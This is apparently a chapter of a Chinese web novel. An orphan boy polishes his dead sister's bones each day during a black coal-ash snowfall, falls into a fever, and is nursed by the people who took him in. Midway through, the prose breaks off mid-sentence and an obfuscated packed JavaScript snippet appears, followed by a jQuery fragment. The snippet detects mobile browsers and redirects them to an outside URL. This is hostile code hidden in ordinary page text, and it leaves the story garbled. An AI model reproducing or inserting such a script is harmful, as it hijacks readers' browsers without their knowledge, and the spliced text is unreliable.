狗子来的第四天，下雪了。
不是普通的雪。是黑的。
煤灰飘在空中，和雪混在一起，落下来的时候，地上就铺了一层灰黑色的东西。阿钝蹲在院子里，伸手接了一片，雪在掌心化开，留下一道黑印子。
“师父，雪为啥是黑的？”
李默站在他旁边，也在看。
“煤烧多了。”他说，“城里城外，家家户户烧煤取暖。煤灰飘到天上，和雪一起落下来。”
阿钝点了点头。
他没再问。
但他看着那些黑雪，眼睛里有一点东西——不是害怕，是别的什么
狗子也蹲在院子里，抱着那个包袱，看着那些黑雪。
他不说话。从来到现在，他几乎不说话。阿箬给他吃的，他吃。阿箬给他地方睡，他睡。但就是不说话。
只有一件事他做——每天早上去后院，蹲在一个角落里，把那个包袱打开，把那些骨头摆出来，一块一块地擦。
那些骨头很小，细细的，是他妹妹的手骨和脚骨。
他用一块破布，沾着水，一块一块地擦。擦得很慢，很仔细，像是在擦什么珍贵的东西。
第一天阿钝看见了，吓得跑去找李默。
“师父！那个狗子！他……他抱着骨头！”
李默跟着他去看。
狗子蹲在墙角，低着头，一块一块地擦那些骨头。他的动作很轻，很慢，像是在做一件很重要的事。
李默站在那里，看了很久。
然后他转身走了。
阿钝追上去。
“师父！他……他那个……”
李默没回头。
“让他擦。”他说。
阿钝愣住了。
“可是……”
“那是他妹妹。”李默说，“他只有这个了。”
阿钝不说话了。
他站在那儿，看着狗子的背影，看着那些小小的骨头，忽然想哭。
但他忍住了
————
包袱是破布缝的，针脚歪歪扭扭，是他自己缝的。布是从垃圾堆里捡的，本来可能是白色的，现在灰扑扑的，分不清是本色还是脏。
他就那么抱着，一动不动。
阿箬站在远处，看着他。
她看见他的嘴唇在动，像是在说什么。但离得远，听不见。
她走过去，在他旁边蹲下。
狗子没抬头。
“说什么呢？”阿箬问。
狗子沉默了一会儿。
“数。”他说。
“数什么？”
狗子把包袱打开。
那些骨头露出来。小小的，细细的，一根一根，排列得整整齐齐。
“手骨。”他指着其中几根，“脚骨。肋骨。还有这个——”
他拿起最小的一块，比指甲盖大不了多少。
“指骨。”他说，“我妹妹的。”
阿箬没说话。
狗子把那块指骨举起来，对着光看。雪落在上面，很快化了，留下一点水渍。他用袖子擦了擦，擦得很慢，很仔细。
“我每天数一遍。”他说，“怕少了一根。”
阿箬看着他。
“少过吗？”
狗子摇了摇头。
“没有。”他说，“我一直数，一直没少。”
他低下头，把那些骨头一根一根摆回去。摆得很慢，很小心，像是在摆什么易碎的东西。
“我娘让我埋了。”他说，“她说，人死了，就得入土。”
他顿了顿。
“可我埋了之后，晚上睡不着。老是想着她一个人在地下，黑黑的，冷冷的，没人陪她说话。”
他的声音很平，平得像在说别人的事。
“后来我挖出来了。”他说，“挖出来抱着睡，就睡得着了。”
阿箬没说话。
她只是蹲在那儿，听着。
狗子把包袱重新包好，抱在怀里。
“你知道她长什么样吗？”他忽然问。
阿箬摇了摇头。
狗子想了想。
“她这么高。”他比划了一下，到自己腰的位置，“瘦瘦的，头发黄黄的，眼睛很大。”
他顿了顿。
“她死的时候，眼睛是闭着的。我娘给她合的。我娘说，闭着眼睛走，下辈子就不会迷路。”
他的声音开始抖。
“可她闭着眼睛，我就看不见她了。”
阿箬的手攥紧了。
狗子低下头，把脸埋进包袱里。
“我快想不起来她长什么样了。”他说，声音闷闷的，“我每天想，每天想，可那张脸越来越模糊。我怕有一天，彻底想不起来了。”
雪落在他身上，落在那个包袱上，薄薄的一层黑。
他没拍。
就让它落着。
那天夜里，狗子发烧了。
阿箬第一个发现的。她去给他送晚饭，敲了半天门没人应。推开门一看，狗子躺在床上，脸烧得通红，嘴唇干裂，眼睛闭着，嘴里说着胡话。
那个包袱放在他枕头旁边，打开着，那些骨头露在外面。
阿箬蹲下来，把手放在他额头上。
烫得很。
她跑出去找李默。
李默跟着她过来，蹲在床边，看着狗子的脸。
那张小脸烧得通红，眉头皱着，嘴唇一直在动，说着什么。
李默凑近听。
“……妹妹……你别怕……我在呢……”
“……冷吗？我把衣服给你……”
“……别哭……别哭……我给你擦骨头……”
李默没说话。
他站起来，往外走。
“我去找大夫。”
他转身要走，狗子忽然睁开眼睛。
那双眼睛烧得发红，但里面有一点光。他看着李默，嘴唇动了动。
“别……别埋我妹妹……”
李默蹲下来，看着他。
“不埋。”他说，“你妹妹跟你在一起。”
狗子看着他，那双眼睛里的光闪了一下。
“你……你帮我看着她……”
李默点了点头。
“我看着。”
狗子闭上眼睛，又昏过去了。
大夫来了，看了狗子，开了药。
“冻的，饿的，累的。”他说，“底子太差，得养。养得过来就活，养不过来就死。”
阿箬接过药，没说话。
大夫走了。
阿箬熬药，喂药，守了一夜。
狗子一直在说胡话。一会儿叫妹妹，一会儿叫娘，一会儿说“别埋我”。阿箬坐在床边，听着那些话，一动不动。
天亮的时候，狗子的烧退了。
他睁开眼睛，看见阿箬，愣了一下。
阿箬看着他。
“醒了？”
狗子点了点头。
阿箬站起来，往外走。
走到门口，狗子忽然开口。
“姐姐。”
阿箬停下来，回头看他。
狗子躺在床上，看着她。
“你守了我一夜？”
阿箬没说话。
狗子低下头，看着枕头旁边那个包袱。包袱还在，那些骨头还在。
“我梦见我妹妹了。”他说，“她跟我说，姐姐在照顾你，你别怕。”
他抬起头，看着阿箬。
“她说的是你吗？”
阿箬沉默了一会儿。
然后她走回来，在床边坐下。
“你梦见她了？”
狗子点了点头。
“她长什么样？”
狗子想了想。
“她……她冲我笑。笑得很暖。和你看我的眼神一样。”
阿箬没说话。
她伸出手，在狗子头上按了一下。
狗子愣了一下。
然后他笑了。
那是他来之后第一次笑。
很轻，很淡，像一阵风就会吹散。
但风吹过来的时候，它没散。
那天下午，阿钝来看狗子。
他蹲在床边，看着狗子。
“你好了？”
狗子点了点头。
阿钝看着他怀里的包袱。
“那骨头，”他说，“能给我看看吗？”
狗子犹豫了一下，把包袱打开。
那些骨头露出来。小小的，细细的，被擦得发亮。
阿钝看着那些骨头，看了很久。
“你每天擦？”他问。
狗子点了点头。
“为什么？”
狗子想了想。
“因为，”他说，“擦的时候，觉得她在。”
阿钝愣了一下。
他伸出手，指了指最小的一块。
“这个能给我擦一下吗？”
狗子看着他，看了很久。
然后他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401612|200419||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
把那块骨头递过去。
阿钝接过那块骨头，很小，很轻，像一根树枝。他拿着它，不知道该怎么办。
“擦。”狗子说，“用布。慢慢地擦。”
阿钝拿起那块布，开始擦。
一下，一下，一下。
很慢，很轻。
擦着擦着，他忽然觉得，心里有什么东西，松了一点。
李默站在院子里，看着那场黑雪。
雪还在下，落在他肩上，他也不拍。
阿箬走过来，站在他旁边。
“狗子醒了。”她说。
李默点了点头。
阿箬看着那些黑雪。
“他每天擦那些骨头。”她说，“擦的时候，嘴里念叨着什么。”
李默没说话。
阿箬继续说：
“他跟我说，擦的时候，觉得他妹妹在。”
李默转过头，看着她。
“你觉得呢？”
阿箬想了想。
“我觉得，”她说，“她是在。”
李默没说话。
他看着那些黑雪，看了很久。
“阿箬。”他忽然开口。
“嗯。”
“你娘死的时候，你擦过什么吗？”
阿箬沉默了一会儿。
“没有。”她说，“那时候我太小。只知道哭。”
她顿了顿。
“后来长大了，想擦，已经来不及了。”
李默看着她。
月光下，那道疤还在。那双眼睛里，有东西在动。
“狗子比你幸运。”他说。
阿箬愣了一下。
“他有东西擦。”李默说，“你有东西记。都活着。”
阿箬没说话。
她看着那些黑雪，看着那些落在雪上的煤灰，看着那些慢慢化成水的东西。
“李默。”她忽然开口。
“嗯。”
“那些黑雪，”她说，“化掉之后，去哪儿了？”
李默想了想。
“渗进土里。”他说，“变成土的一部分。”
阿箬点了点头。
“那我娘，”她说，“也变成土的一部分了？”
李默看着她。
“是。”他说。
阿箬没再说话。
她只是站在那儿，看着那些雪，看着那些慢慢渗进土里的黑水。
夜里，狗子又坐在床上，抱着那个包袱。
阿钝坐在他旁边，也抱着膝盖。
“狗子。”阿钝说。
“嗯。”
“你妹妹叫什么名字？”
狗子愣了一下。
他低下头，看着那个包袱，看了很久。
“二丫。”他说，“叫二丫。”
阿钝点了点头。
“二丫。”他念了一遍，“好名字。”
狗子看着他。
“你为什么觉得好？”
阿钝想了想。
“因为，”他说，“叫着顺口。”
狗子愣了一下。
然后他笑了。
笑着笑着，眼泪流下来。
“我好久没叫过这个名字了。”他说，“都快忘了。”
阿钝伸出手，在他头上按了一下。
“以后每天叫一遍。”他说，“就不会忘了。”
狗子看着他。
月光从窗户照进来，照在两个人身上，照在那个包袱上，照在那些小小的骨头上。
那些骨头被擦得发亮，在月光下像玉一样。
狗子低下头，看着那些骨头。
“二丫。”他轻轻叫了一声。
没有回应。
但他觉得，有什么东西，动了一下。
远处传来打更的声音。
“咚——咚——咚——”
三更了。
李默还站在院子里，看着那些黑雪。
雪还在下。
但他知道，明天早上，雪会停。
太阳会出来。
那些黑雪会化掉，渗进土里，变成土的一部分。
然后，新的雪会落下来。
也许还是黑的。
也许会是白的。
他不知道。
但他知道，狗子还会擦那些骨头。
阿钝还会在旁边看着。
阿箬还会站在远处，看着他们。
这些人，都还在。
活着